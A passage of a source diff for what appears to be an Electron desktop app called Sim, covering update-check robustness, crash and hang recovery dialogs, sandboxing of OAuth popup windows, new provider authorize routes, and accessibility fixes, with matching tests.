finishCheck()
|
||||
logger.warn('Update check failed', { message: getErrorMessage(error, 'unknown') })
|
||||
if (state.status === 'checking') setState({ status: 'error' })
|
||||
})
|
||||
startUpdaterCheck(interactive)
|
||||
})
|
||||
},
|
||||
advance() {
|
||||
setState({ status: 'downloading', version: state.version })
|
||||
autoUpdater.downloadUpdate().catch((error) => {
|
||||
installAfterDownload = false
|
||||
logger.warn('Update download failed', { message: getErrorMessage(error, 'unknown') })
|
||||
@@ -534,7 +668,7 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle {
|
||||
})
|
||||
},
|
||||
install() {
|
||||
autoUpdater.quitAndInstall()
|
||||
quitAndInstall()
|
||||
},
|
||||
setAutoDownload(enabled) {
|
||||
autoUpdater.autoDownload = enabled
|
||||
@@ -549,20 +683,32 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle {
|
||||
const response = await net.fetch(url, {
|
||||
signal: AbortSignal.timeout(UPDATE_CHECK_TIMEOUT_MS),
|
||||
})
|
||||
return response.ok ? await response.text() : null
|
||||
return readUpdateManifest(response)
|
||||
})
|
||||
let downloadUrl: string | null = null
|
||||
let checkInFlight = false
|
||||
let activeCheckId: number | null = null
|
||||
let nextCheckId = 0
|
||||
let checkTimeout: ReturnType<typeof setTimeout> | null = null
|
||||
|
||||
const doCheck = async () => {
|
||||
if (checkInFlight || state.status === 'available') return
|
||||
checkInFlight = true
|
||||
if (activeCheckId !== null || state.status === 'available') return
|
||||
const checkId = ++nextCheckId
|
||||
activeCheckId = checkId
|
||||
downloadUrl = null
|
||||
setState({ status: 'checking', manual: true })
|
||||
checkTimeout = setTimeout(() => {
|
||||
if (activeCheckId !== checkId) return
|
||||
activeCheckId = null
|
||||
checkTimeout = null
|
||||
deps.events.record('update_error', { message: 'Manual update check timed out' })
|
||||
setState({ status: 'error', manual: true })
|
||||
}, UPDATE_CHECK_TIMEOUT_MS)
|
||||
try {
|
||||
const feedUrl = feedUrlForOrigin(deps.appOrigin())
|
||||
const manifest = feedUrl ? await fetchManifest(`${feedUrl}/latest-mac.yml`) : null
|
||||
if (activeCheckId !== checkId) return
|
||||
const version = manifest ? (/^version:\s*(\S+)\s*$/m.exec(manifest)?.[1] ?? null) : null
|
||||
if (!manifest || !version || !isNewerVersion(version, currentVersion)) {
|
||||
if (!manifest || !version || !isValidUpdateCandidate(version, currentVersion)) {
|
||||
setState({ status: 'idle', manual: true })
|
||||
return
|
||||
}
|
||||
@@ -576,7 +722,7 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle {
|
||||
const urls = Array.from(
|
||||
manifest.matchAll(/^\s*(?:-\s*)?url:\s*(\S+)\s*$/gm),
|
||||
(m) => m[1]
|
||||
).filter(isReleaseAssetUrl)
|
||||
).filter((url) => isReleaseAssetUrl(url, version, resolveUpdateChannel(currentVersion)))
|
||||
downloadUrl =
|
||||
urls.find((url) => url.endsWith('.dmg')) ??
|
||||
urls.find((url) => url.endsWith('.zip')) ??
|
||||
@@ -597,10 +743,17 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle {
|
||||
deps.events.record('update_check', { available: version, manual: true })
|
||||
setState({ status: 'available', version, manual: true })
|
||||
} catch (error) {
|
||||
if (activeCheckId !== checkId) return
|
||||
logger.warn('Manual update check failed', { message: getErrorMessage(error, 'unknown') })
|
||||
setState({ status: 'error', version: state.version, manual: true })
|
||||
} finally {
|
||||
checkInFlight = false
|
||||
if (activeCheckId === checkId) {
|
||||
activeCheckId = null
|
||||
if (checkTimeout !== null) {
|
||||
clearTimeout(checkTimeout)
|
||||
checkTimeout = null
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -628,7 +781,12 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle {
|
||||
|
||||
const canSelfUpdate = deps.canSelfUpdate ?? detectSelfUpdateCapability
|
||||
void canSelfUpdate()
|
||||
.catch(() => true)
|
||||
.catch((error) => {
|
||||
logger.warn('Could not detect self-update capability; using manual updates', {
|
||||
message: getErrorMessage(error, 'unknown'),
|
||||
})
|
||||
return false
|
||||
})
|
||||
.then((capable) => {
|
||||
engine = capable ? buildAutoEngine() : buildManualEngine()
|
||||
if (!engine) {
|
||||
|
||||
@@ -2,7 +2,7 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
|
||||
|
||||
vi.mock('electron', () => import('@/test/electron-mock'))
|
||||
|
||||
import { BrowserWindow, systemPreferences } from 'electron'
|
||||
import { BrowserWindow, dialog, systemPreferences } from 'electron'
|
||||
import type { ConfigStore } from '@/main/config'
|
||||
import type { EventRecorder } from '@/main/observability'
|
||||
import {
|
||||
@@ -244,6 +244,105 @@ describe('createSecureWebPreferences', () => {
|
||||
})
|
||||
|
||||
describe('createMainWindow', () => {
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks()
|
||||
})
|
||||
|
||||
function createTestWindow(isMandatoryRelaunchPending: () => boolean = () => false) {
|
||||
const config = {
|
||||
filePath: '/tmp/settings.json',
|
||||
getOrigin: vi.fn(() => APP),
|
||||
setOrigin: vi.fn(),
|
||||
get: vi.fn(() => undefined),
|
||||
set: vi.fn(),
|
||||
} as unknown as ConfigStore
|
||||
const events = {
|
||||
filePath: '/tmp/events.jsonl',
|
||||
record: vi.fn(),
|
||||
} satisfies EventRecorder
|
||||
const win = createMainWindow({
|
||||
config,
|
||||
events,
|
||||
appOrigin: () => APP,
|
||||
partition: 'persist:sim',
|
||||
preloadPath: '/tmp/preload.cjs',
|
||||
isPackaged: false,
|
||||
onClosed: vi.fn(),
|
||||
isMandatoryRelaunchPending,
|
||||
})
|
||||
const contentHandlers = new Map(
|
||||
vi.mocked(win.webContents.on).mock.calls as unknown as Array<
|
||||
[string, (...args: never[]) => unknown]
|
||||
>
|
||||
)
|
||||
return { events, win, contentHandlers }
|
||||
}
|
||||
|
||||
it('makes Stay the safe keyboard default for beforeunload', () => {
|
||||
const { contentHandlers } = createTestWindow()
|
||||
const handler = contentHandlers.get('will-prevent-unload')
|
||||
const event = { preventDefault: vi.fn() }
|
||||
|
||||
vi.mocked(dialog.showMessageBoxSync).mockReturnValueOnce(0)
|
||||
handler?.(event as never)
|
||||
|
||||
expect(dialog.showMessageBoxSync).toHaveBeenCalledWith(
|
||||
expect.any(BrowserWindow),
|
||||
expect.objectContaining({
|
||||
buttons: ['Stay', 'Leave'],
|
||||
defaultId: 0,
|
||||
cancelId: 0,
|
||||
})
|
||||
)
|
||||
expect(event.preventDefault).not.toHaveBeenCalled()
|
||||
|
||||
vi.mocked(dialog.showMessageBoxSync).mockReturnValueOnce(1)
|
||||
handler?.(event as never)
|
||||
expect(event.preventDefault).toHaveBeenCalledOnce()
|
||||
})
|
||||
|
||||
it('allows a committed mandatory relaunch through beforeunload', () => {
|
||||
const { contentHandlers } = createTestWindow(() => true)
|
||||
const handler = contentHandlers.get('will-prevent-unload')
|
||||
const event = { preventDefault: vi.fn() }
|
||||
|
||||
handler?.(event as never)
|
||||
|
||||
expect(event.preventDefault).toHaveBeenCalledOnce()
|
||||
expect(dialog.showMessageBoxSync).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('queues crash recovery behind an open hang dialog without stacking dialogs', async () => {
|
||||
let resolveHang: ((value: { response: number; checkboxChecked: boolean }) => void) | undefined
|
||||
vi.mocked(dialog.showMessageBox)
|
||||
.mockImplementationOnce(
|
||||
() =>
|
||||
new Promise((resolve) => {
|
||||
resolveHang = resolve
|
||||
})
|
||||
)
|
||||
.mockResolvedValue({ response: 0, checkboxChecked: false })
|
||||
const { contentHandlers, events } = createTestWindow()
|
||||
|
||||
contentHandlers.get('unresponsive')?.()
|
||||
contentHandlers.get('render-process-gone')?.(
|
||||
undefined as never,
|
||||
{ reason: 'crashed', exitCode: 9 } as never
|
||||
)
|
||||
contentHandlers.get('render-process-gone')?.(
|
||||
undefined as never,
|
||||
{ reason: 'crashed', exitCode: 9 } as never
|
||||
)
|
||||
|
||||
expect(dialog.showMessageBox).toHaveBeenCalledTimes(1)
|
||||
expect(events.record).toHaveBeenCalledWith('renderer_unresponsive')
|
||||
expect(events.record).toHaveBeenCalledWith('renderer_gone', expect.any(Object))
|
||||
expect(events.record).toHaveBeenCalledTimes(2)
|
||||
|
||||
resolveHang?.({ response: 0, checkboxChecked: false })
|
||||
await vi.waitFor(() => expect(dialog.showMessageBox).toHaveBeenCalledTimes(2))
|
||||
})
|
||||
|
||||
it('keeps the native macOS fullscreen titlebar blank', () => {
|
||||
const config = {
|
||||
filePath: '/tmp/settings.json',
|
||||
@@ -265,6 +364,7 @@ describe('createMainWindow', () => {
|
||||
preloadPath: '/tmp/preload.cjs',
|
||||
isPackaged: false,
|
||||
onClosed: vi.fn(),
|
||||
isMandatoryRelaunchPending: () => false,
|
||||
platform: 'darwin',
|
||||
})
|
||||
|
||||
@@ -331,6 +431,7 @@ describe('createMainWindow', () => {
|
||||
preloadPath: '/tmp/preload.cjs',
|
||||
isPackaged: false,
|
||||
onClosed: vi.fn(),
|
||||
isMandatoryRelaunchPending: () => false,
|
||||
restorePosition: false,
|
||||
})
|
||||
|
||||
|
||||
@@ -198,6 +198,8 @@ export interface CreateMainWindowDeps {
|
||||
preloadPath: string
|
||||
isPackaged: boolean
|
||||
onClosed: () => void
|
||||
/** A committed process restart must not be cancelled by a renderer's beforeunload handler. */
|
||||
isMandatoryRelaunchPending: () => boolean
|
||||
onFullScreenChange?: (isFullScreen: boolean) => void
|
||||
/**
|
||||
* Restores the persisted screen position for the first window. Secondary
|
||||
@@ -283,21 +285,57 @@ export function createMainWindow(deps: CreateMainWindowDeps): BrowserWindow {
|
||||
})
|
||||
|
||||
win.webContents.on('will-prevent-unload', (event) => {
|
||||
if (deps.isMandatoryRelaunchPending()) {
|
||||
event.preventDefault()
|
||||
return
|
||||
}
|
||||
const choice = dialog.showMessageBoxSync(win, {
|
||||
type: 'question',
|
||||
buttons: ['Leave', 'Stay'],
|
||||
buttons: ['Stay', 'Leave'],
|
||||
defaultId: 0,
|
||||
cancelId: 1,
|
||||
cancelId: 0,
|
||||
message: 'Leave Sim?',
|
||||
detail: 'Changes you made may not be saved.',
|
||||
})
|
||||
if (choice === 0) {
|
||||
if (choice === 1) {
|
||||
event.preventDefault()
|
||||
}
|
||||
})
|
||||
|
||||
let recoveryDialog: 'crash' | 'hang' | null = null
|
||||
let crashPendingAfterHang = false
|
||||
|
||||
const showCrashRecovery = (): void => {
|
||||
if (win.isDestroyed()) return
|
||||
if (recoveryDialog !== null) {
|
||||
if (recoveryDialog === 'hang') crashPendingAfterHang = true
|
||||
return
|
||||
}
|
||||
recoveryDialog = 'crash'
|
||||
void dialog
|
||||
.showMessageBox(win, {
|
||||
type: 'error',
|
||||
buttons: ['Reload', 'Quit Sim'],
|
||||
defaultId: 0,
|
||||
cancelId: 0,
|
||||
message: 'Sim encountered a problem',
|
||||
detail: 'The page stopped unexpectedly. Reload to pick up where you left off.',
|
||||
})
|
||||
.then(({ response }) => {
|
||||
if (win.isDestroyed()) return
|
||||
if (response === 0) win.webContents.reload()
|
||||
else app.quit()
|
||||
})
|
||||
.catch((error) => {
|
||||
logger.error('Could not present renderer recovery', { error: getErrorMessage(error) })
|
||||
})
|
||||
.finally(() => {
|
||||
recoveryDialog = null
|
||||
})
|
||||
}
|
||||
|
||||
win.webContents.on('render-process-gone', (_event, details) => {
|
||||
if (details.reason === 'clean-exit') {
|
||||
if (details.reason === 'clean-exit' || recoveryDialog === 'crash' || crashPendingAfterHang) {
|
||||
return
|
||||
}
|
||||
deps.events.record('renderer_gone', {
|
||||
@@ -305,38 +343,12 @@ export function createMainWindow(deps: CreateMainWindowDeps): BrowserWindow {
|
||||
exitCode: details.exitCode,
|
||||
crashDumpDir: app.getPath('crashDumps'),
|
||||
})
|
||||
setTimeout(() => {
|
||||
if (win.isDestroyed()) {
|
||||
return
|
||||
}
|
||||
void dialog
|
||||
.showMessageBox(win, {
|
||||
type: 'error',
|
||||
buttons: ['Reload', 'Quit Sim'],
|
||||
defaultId: 0,
|
||||
cancelId: 0,
|
||||
message: 'Sim encountered a problem',
|
||||
detail: 'The page stopped unexpectedly. Reload to pick up where you left off.',
|
||||
})
|
||||
.then(({ response }) => {
|
||||
if (win.isDestroyed()) {
|
||||
return
|
||||
}
|
||||
if (response === 0) {
|
||||
win.webContents.reload()
|
||||
} else {
|
||||
app.quit()
|
||||
}
|
||||
})
|
||||
}, 0)
|
||||
showCrashRecovery()
|
||||
})
|
||||
|
||||
let hangDialogOpen = false
|
||||
win.webContents.on('unresponsive', () => {
|
||||
if (hangDialogOpen || win.isDestroyed()) {
|
||||
return
|
||||
}
|
||||
hangDialogOpen = true
|
||||
if (recoveryDialog !== null || win.isDestroyed()) return
|
||||
recoveryDialog = 'hang'
|
||||
deps.events.record('renderer_unresponsive')
|
||||
void dialog
|
||||
.showMessageBox(win, {
|
||||
@@ -348,14 +360,22 @@ export function createMainWindow(deps: CreateMainWindowDeps): BrowserWindow {
|
||||
detail: 'You can wait for it to recover or reload the page.',
|
||||
})
|
||||
.then(({ response }) => {
|
||||
hangDialogOpen = false
|
||||
if (!win.isDestroyed() && response === 1) {
|
||||
win.webContents.reload()
|
||||
}
|
||||
})
|
||||
})
|
||||
win.webContents.on('responsive', () => {
|
||||
hangDialogOpen = false
|
||||
.catch((error) => {
|
||||
logger.error('Could not present unresponsive renderer recovery', {
|
||||
error: getErrorMessage(error),
|
||||
})
|
||||
})
|
||||
.finally(() => {
|
||||
recoveryDialog = null
|
||||
if (crashPendingAfterHang) {
|
||||
crashPendingAfterHang = false
|
||||
showCrashRecovery()
|
||||
}
|
||||
})
|
||||
})
|
||||
|
||||
let zoomRestored = false
|
||||
|
||||
@@ -29,13 +29,14 @@ describe('attachWindowOpenPolicy', () => {
|
||||
vi.mocked(shell.openExternal).mockClear()
|
||||
})
|
||||
|
||||
function setup() {
|
||||
function setup(isMandatoryRelaunchPending: () => boolean = () => false) {
|
||||
const contents = makeContents()
|
||||
const openAppWindow = vi.fn()
|
||||
attachWindowOpenPolicy(contents as unknown as WebContents, {
|
||||
appOrigin: () => APP,
|
||||
openAppWindow,
|
||||
allowHttpLocalhost: false,
|
||||
isMandatoryRelaunchPending,
|
||||
})
|
||||
return { contents, openAppWindow }
|
||||
}
|
||||
@@ -46,12 +47,27 @@ describe('attachWindowOpenPolicy', () => {
|
||||
url: 'https://mcp.example/authorize',
|
||||
frameName: 'mcp-oauth-s1',
|
||||
})
|
||||
expect(result).toEqual({ action: 'allow' })
|
||||
expect(result).toEqual({
|
||||
action: 'allow',
|
||||
overrideBrowserWindowOptions: {
|
||||
webPreferences: expect.objectContaining({
|
||||
preload: undefined,
|
||||
additionalArguments: [],
|
||||
contextIsolation: true,
|
||||
nodeIntegration: false,
|
||||
sandbox: true,
|
||||
webSecurity: true,
|
||||
webviewTag: false,
|
||||
}),
|
||||
},
|
||||
})
|
||||
})
|
||||
|
||||
it('allows blank children for the blank-then-assign pattern', () => {
|
||||
const { contents } = setup()
|
||||
expect(contents.handler?.({ url: 'about:blank', frameName: '' })).toEqual({ action: 'allow' })
|
||||
expect(contents.handler?.({ url: 'about:blank', frameName: '' })).toMatchObject({
|
||||
action: 'allow',
|
||||
})
|
||||
})
|
||||
|
||||
it('opens internal new-window requests as full Sim windows', () => {
|
||||
@@ -81,6 +97,38 @@ describe('attachWindowOpenPolicy', () => {
|
||||
const didCreateWindow = contents.on.mock.calls.find(([event]) => event === 'did-create-window')
|
||||
expect(didCreateWindow).toBeDefined()
|
||||
})
|
||||
|
||||
it('allows a mandatory relaunch through a child beforeunload', () => {
|
||||
const { contents } = setup(() => true)
|
||||
const childContents = makeContents()
|
||||
const child = { webContents: childContents }
|
||||
const didCreateWindow = contents.on.mock.calls.find(([event]) => event === 'did-create-window')
|
||||
const event = { preventDefault: vi.fn() }
|
||||
|
||||
didCreateWindow?.[1](child, { url: 'https://mcp.example/authorize', frameName: 'mcp-oauth-s1' })
|
||||
const willPreventUnload = childContents.on.mock.calls.find(
|
||||
([eventName]) => eventName === 'will-prevent-unload'
|
||||
)
|
||||
willPreventUnload?.[1](event)
|
||||
|
||||
expect(event.preventDefault).toHaveBeenCalledOnce()
|
||||
})
|
||||
|
||||
it('leaves child beforeunload untouched during ordinary use', () => {
|
||||
const { contents } = setup()
|
||||
const childContents = makeContents()
|
||||
const child = { webContents: childContents }
|
||||
const didCreateWindow = contents.on.mock.calls.find(([event]) => event === 'did-create-window')
|
||||
const event = { preventDefault: vi.fn() }
|
||||
|
||||
didCreateWindow?.[1](child, { url: 'https://mcp.example/authorize', frameName: 'mcp-oauth-s1' })
|
||||
const willPreventUnload = childContents.on.mock.calls.find(
|
||||
([eventName]) => eventName === 'will-prevent-unload'
|
||||
)
|
||||
willPreventUnload?.[1](event)
|
||||
|
||||
expect(event.preventDefault).not.toHaveBeenCalled()
|
||||
})
|
||||
})
|
||||
|
||||
describe('popup registry', () => {
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
import { createLogger } from '@sim/logger'
|
||||
import type { BrowserWindow, WebContents } from 'electron'
|
||||
import type { BrowserWindow, BrowserWindowConstructorOptions, WebContents } from 'electron'
|
||||
import {
|
||||
classifyBlankChildNavigation,
|
||||
classifyWindowOpen,
|
||||
@@ -11,6 +11,23 @@ const logger = createLogger('DesktopWindows')
|
||||
|
||||
const popupContents = new WeakSet<WebContents>()
|
||||
|
||||
/**
|
||||
* Child windows share the opener's session for OAuth state and window.opener
|
||||
* messaging. These preferences isolate ordinary OAuth children from Sim's
|
||||
* privileged preload.
|
||||
*/
|
||||
const ISOLATED_CHILD_WINDOW_OPTIONS = {
|
||||
webPreferences: {
|
||||
preload: undefined,
|
||||
additionalArguments: [],
|
||||
contextIsolation: true,
|
||||
nodeIntegration: false,
|
||||
sandbox: true,
|
||||
webSecurity: true,
|
||||
webviewTag: false,
|
||||
},
|
||||
} satisfies BrowserWindowConstructorOptions
|
||||
|
||||
/**
|
||||
* Marks a WebContents as a guarded popup child (MCP OAuth, blank-then-assign)
|
||||
* so the navigation classifier can apply the more permissive popup policy.
|
||||
@@ -27,6 +44,7 @@ export interface WindowPolicyDeps {
|
||||
appOrigin: () => string
|
||||
openAppWindow: (url: string) => void
|
||||
allowHttpLocalhost: boolean
|
||||
isMandatoryRelaunchPending: () => boolean
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -42,7 +60,10 @@ export function attachWindowOpenPolicy(contents: WebContents, deps: WindowPolicy
|
||||
switch (action) {
|
||||
case 'popup-mcp':
|
||||
case 'popup-blank':
|
||||
return { action: 'allow' }
|
||||
return {
|
||||
action: 'allow',
|
||||
overrideBrowserWindowOptions: ISOLATED_CHILD_WINDOW_OPTIONS,
|
||||
}
|
||||
case 'popup-internal': {
|
||||
deps.openAppWindow(details.url)
|
||||
return { action: 'deny' }
|
||||
@@ -59,6 +80,11 @@ export function attachWindowOpenPolicy(contents: WebContents, deps: WindowPolicy
|
||||
contents.on('did-create-window', (child, details) => {
|
||||
registerPopupContents(child.webContents)
|
||||
attachWindowOpenPolicy(child.webContents, deps)
|
||||
child.webContents.on('will-prevent-unload', (event) => {
|
||||
if (deps.isMandatoryRelaunchPending()) {
|
||||
event.preventDefault()
|
||||
}
|
||||
})
|
||||
const kind = classifyWindowOpen(details.url, details.frameName, deps.appOrigin())
|
||||
if (kind === 'popup-blank') {
|
||||
attachBlankChildGuards(child, deps)
|
||||
@@ -67,9 +93,9 @@ export function attachWindowOpenPolicy(contents: WebContents, deps: WindowPolicy
|
||||
}
|
||||
|
||||
/**
|
||||
* Routes the first real navigation of an about:blank child: same-origin URLs
|
||||
* open in a full Sim window, external URLs open in the system browser, and
|
||||
* the child closes either way.
|
||||
* Routes the first real navigation of an about:blank child. Electron creates
|
||||
* that transient document with inherited preferences, so it is treated only
|
||||
* as a handoff: the first real URL opens elsewhere and the child closes.
|
||||
*/
|
||||
function attachBlankChildGuards(child: BrowserWindow, deps: WindowPolicyDeps): void {
|
||||
child.webContents.on('will-navigate', (event, url) => {
|
||||
|
||||
@@ -483,9 +483,6 @@ const api: SimDesktopApi = {
|
||||
ipcRenderer.invoke('terminal:dispose-scope', scopeId),
|
||||
suspendScope: (scopeId: string): Promise<boolean> =>
|
||||
ipcRenderer.invoke('terminal:suspend-scope', scopeId),
|
||||
dispose: (): void => {
|
||||
ipcRenderer.send('terminal:dispose')
|
||||
},
|
||||
onData: (
|
||||
callback: (terminalId: string, data: string, scopeId: string) => void
|
||||
): (() => void) => {
|
||||
|
||||
@@ -22,6 +22,8 @@ export const app = {
|
||||
on: vi.fn(),
|
||||
once: vi.fn(),
|
||||
quit: vi.fn(),
|
||||
exit: vi.fn(),
|
||||
relaunch: vi.fn(),
|
||||
focus: vi.fn(),
|
||||
enableSandbox: vi.fn(),
|
||||
requestSingleInstanceLock: vi.fn(() => true),
|
||||
@@ -222,9 +224,11 @@ export class WebContentsView {
|
||||
export class BrowserWindow {
|
||||
static fromWebContents = vi.fn(() => null)
|
||||
static getFocusedWindow = vi.fn(() => null)
|
||||
static nextId = 1
|
||||
/** Constructor tracking for tests (the class itself is not a vi.fn mock). */
|
||||
static instances: BrowserWindow[] = []
|
||||
static lastOptions: Record<string, unknown> | undefined
|
||||
readonly id = BrowserWindow.nextId++
|
||||
constructor(options?: Record<string, unknown>) {
|
||||
BrowserWindow.instances.push(this)
|
||||
BrowserWindow.lastOptions = options
|
||||
|
||||
@@ -126,6 +126,10 @@
|
||||
stroke 150ms cubic-bezier(0.4, 0, 0.2, 1);
|
||||
-webkit-app-region: no-drag;
|
||||
}
|
||||
button:focus-visible {
|
||||
outline: 2px solid var(--text-primary);
|
||||
outline-offset: 2px;
|
||||
}
|
||||
/* `button { display: inline-flex }` is an author rule, so it beats the UA
|
||||
stylesheet's `[hidden] { display: none }` no matter the specificity —
|
||||
without this the hidden status button renders anyway. */
|
||||
@@ -195,9 +199,9 @@
|
||||
Sim couldn’t reach the server. Check your internet connection, then try again.
|
||||
</p>
|
||||
<div class="actions">
|
||||
<button class="primary" id="retry"><span class="label">Retry</span></button>
|
||||
<button class="secondary" id="status" hidden><span class="label">Check status</span></button>
|
||||
<button class="secondary" id="server"><span class="label">Change server</span></button>
|
||||
<button type="button" class="primary" id="retry"><span class="label">Retry</span></button>
|
||||
<button type="button" class="secondary" id="status" hidden><span class="label">Check status</span></button>
|
||||
<button type="button" class="secondary" id="server"><span class="label">Change server</span></button>
|
||||
</div>
|
||||
<div id="detail" role="status"></div>
|
||||
</div>
|
||||
|
||||
@@ -111,6 +111,11 @@
|
||||
input:focus {
|
||||
border-color: var(--border-strong);
|
||||
}
|
||||
input:focus-visible,
|
||||
button:focus-visible {
|
||||
outline: 2px solid var(--text-primary);
|
||||
outline-offset: 2px;
|
||||
}
|
||||
input[aria-invalid='true'] {
|
||||
border-color: var(--error);
|
||||
}
|
||||
@@ -183,11 +188,12 @@
|
||||
autocapitalize="off"
|
||||
spellcheck="false"
|
||||
placeholder="https://sim.example.com"
|
||||
aria-describedby="message"
|
||||
/>
|
||||
<div id="message" role="status"></div>
|
||||
<div class="actions">
|
||||
<button class="secondary" id="cancel">Cancel</button>
|
||||
<button class="primary" id="connect" disabled>Connect</button>
|
||||
<button type="button" class="secondary" id="cancel">Cancel</button>
|
||||
<button type="button" class="primary" id="connect" disabled>Connect</button>
|
||||
</div>
|
||||
</main>
|
||||
<script>
|
||||
|
||||
@@ -143,6 +143,29 @@ describe('DesktopConnectPage', () => {
|
||||
)
|
||||
})
|
||||
|
||||
it.each(['trello', 'instagram', 'shopify'])(
|
||||
'starts %s through its dedicated authorize route in the system browser',
|
||||
async (provider) => {
|
||||
await expect(
|
||||
DesktopConnectPage(
|
||||
pageProps({
|
||||
provider,
|
||||
state: VALID_STATE,
|
||||
port: PORT,
|
||||
draftId: 'draft-1',
|
||||
})
|
||||
)
|
||||
).rejects.toThrow('NEXT_REDIRECT:')
|
||||
|
||||
const authorize = new URL(mockRedirect.mock.calls[0][0])
|
||||
expect(authorize.pathname).toBe(`/api/auth/${provider}/authorize`)
|
||||
expect(authorize.searchParams.get('draftId')).toBe('draft-1')
|
||||
expect(authorize.searchParams.get('returnUrl')).toBe(
|
||||
`https://sim.test/desktop/connect/complete?state=${VALID_STATE}&port=${PORT}`
|
||||
)
|
||||
}
|
||||
)
|
||||
|
||||
it('rejects a malformed request without reading the session', async () => {
|
||||
const invalid = [
|
||||
{ provider: 'Google', state: VALID_STATE, port: PORT },
|
||||
|
||||
@@ -130,6 +130,13 @@ export default async function DesktopConnectPage({ searchParams }: DesktopConnec
|
||||
redirect(authorize.toString())
|
||||
}
|
||||
|
||||
if (providerId === 'trello' || providerId === 'instagram' || providerId === 'shopify') {
|
||||
const authorize = new URL(`/api/auth/${providerId}/authorize`, getBaseUrl())
|
||||
authorize.searchParams.set('returnUrl', buildConnectCompleteUrl(state, port))
|
||||
if (draftId) authorize.searchParams.set('draftId', draftId)
|
||||
redirect(authorize.toString())
|
||||
}
|
||||
|
||||
return (
|
||||
<ConnectLauncher
|
||||
providerId={providerId}
|
||||
|
||||
+6
-2
@@ -500,10 +500,11 @@ describe('useBrowserPanelOcclusion modal lifecycle', () => {
|
||||
|
||||
it('reuses a painted popover frame for a modal without revealing the native view between them', async () => {
|
||||
const fallback = vi.fn()
|
||||
const onOwnershipLost = vi.fn()
|
||||
const hook = renderOcclusionHook()
|
||||
|
||||
act(() => {
|
||||
void hook.result().requestOverlay('resources', fallback)
|
||||
void hook.result().requestOverlay('resources', fallback, onOwnershipLost)
|
||||
})
|
||||
await flushOcclusionLifecycle()
|
||||
|
||||
@@ -522,6 +523,7 @@ describe('useBrowserPanelOcclusion modal lifecycle', () => {
|
||||
expect(setBrowserPanelOccluded).toHaveBeenCalledTimes(1)
|
||||
expect(hook.result().activeOverlay).toBeNull()
|
||||
expect(hook.result().snapshotLayer).toBe('modal')
|
||||
expect(onOwnershipLost).toHaveBeenCalledOnce()
|
||||
|
||||
await act(async () => {
|
||||
await hook.result().closeOverlay('resources')
|
||||
@@ -540,12 +542,13 @@ describe('useBrowserPanelOcclusion modal lifecycle', () => {
|
||||
it('replaces one popover with another without revealing or recapturing the native view', async () => {
|
||||
const firstFallback = vi.fn()
|
||||
const secondFallback = vi.fn()
|
||||
const firstOwnershipLost = vi.fn()
|
||||
const hook = renderOcclusionHook()
|
||||
let firstRequest!: Promise<boolean>
|
||||
let secondRequest!: Promise<boolean>
|
||||
|
||||
act(() => {
|
||||
firstRequest = hook.result().requestOverlay('resources', firstFallback)
|
||||
firstRequest = hook.result().requestOverlay('resources', firstFallback, firstOwnershipLost)
|
||||
})
|
||||
await flushOcclusionLifecycle()
|
||||
expect(await firstRequest).toBe(true)
|
||||
@@ -560,6 +563,7 @@ describe('useBrowserPanelOcclusion modal lifecycle', () => {
|
||||
expect(hook.result().activeOverlay).toBe('tab')
|
||||
expect(captureBrowserPanelSnapshot).toHaveBeenCalledOnce()
|
||||
expect(setBrowserPanelOccluded).toHaveBeenCalledTimes(1)
|
||||
expect(firstOwnershipLost).toHaveBeenCalledOnce()
|
||||
expect(firstFallback).not.toHaveBeenCalled()
|
||||
expect(secondFallback).not.toHaveBeenCalled()
|
||||
hook.unmount()
|
||||
|
||||
+20
-7
@@ -30,6 +30,7 @@ export type BrowserPanelSnapshotLayer = 'modal' | 'popover'
|
||||
export type BrowserPanelOverlay =
|
||||
| 'credentials'
|
||||
| 'downloads'
|
||||
| 'permissions'
|
||||
| 'resources'
|
||||
| 'suggestions'
|
||||
| 'tab'
|
||||
@@ -37,7 +38,11 @@ export type BrowserPanelOverlay =
|
||||
|
||||
export interface BrowserPanelOverlayController {
|
||||
/** True when the renderer overlay owns the painted frame; false when fallback handled it. */
|
||||
requestOverlay: (overlay: BrowserPanelOverlay, fallback: () => void) => Promise<boolean>
|
||||
requestOverlay: (
|
||||
overlay: BrowserPanelOverlay,
|
||||
fallback: () => void,
|
||||
onOwnershipLost?: () => void
|
||||
) => Promise<boolean>
|
||||
closeOverlay: (overlay: BrowserPanelOverlay) => Promise<void>
|
||||
}
|
||||
|
||||
@@ -217,6 +222,7 @@ export function useBrowserPanelOcclusion(
|
||||
const [activeOverlay, setActiveOverlay] = useState<BrowserPanelOverlay | null>(null)
|
||||
const snapshotRenderRef = useRef<SnapshotRender | null>(null)
|
||||
const activeOverlayRef = useRef<BrowserPanelOverlay | null>(null)
|
||||
const activeOverlayOwnershipLostRef = useRef<(() => void) | null>(null)
|
||||
const pendingOverlayRef = useRef<BrowserPanelOverlay | null>(null)
|
||||
const activeTabIdRef = useRef(activeTabId)
|
||||
const panelVisibleRef = useRef(panelVisible)
|
||||
@@ -444,9 +450,12 @@ export function useBrowserPanelOcclusion(
|
||||
}, [cancelPendingPaint, reconcile])
|
||||
|
||||
const clearBrowserOverlay = useCallback(() => {
|
||||
const onOwnershipLost = activeOverlayOwnershipLostRef.current
|
||||
pendingOverlayRef.current = null
|
||||
activeOverlayRef.current = null
|
||||
activeOverlayOwnershipLostRef.current = null
|
||||
if (mountedRef.current) setActiveOverlay(null)
|
||||
onOwnershipLost?.()
|
||||
}, [])
|
||||
|
||||
const prepareScreenOcclusion = useCallback((): Promise<boolean> => {
|
||||
@@ -471,6 +480,7 @@ export function useBrowserPanelOcclusion(
|
||||
}
|
||||
if (activeOverlayRef.current === overlay) {
|
||||
activeOverlayRef.current = null
|
||||
activeOverlayOwnershipLostRef.current = null
|
||||
setActiveOverlay(null)
|
||||
}
|
||||
if (pendingOverlayRef.current === overlay) pendingOverlayRef.current = null
|
||||
@@ -480,7 +490,11 @@ export function useBrowserPanelOcclusion(
|
||||
)
|
||||
|
||||
const requestOverlay = useCallback(
|
||||
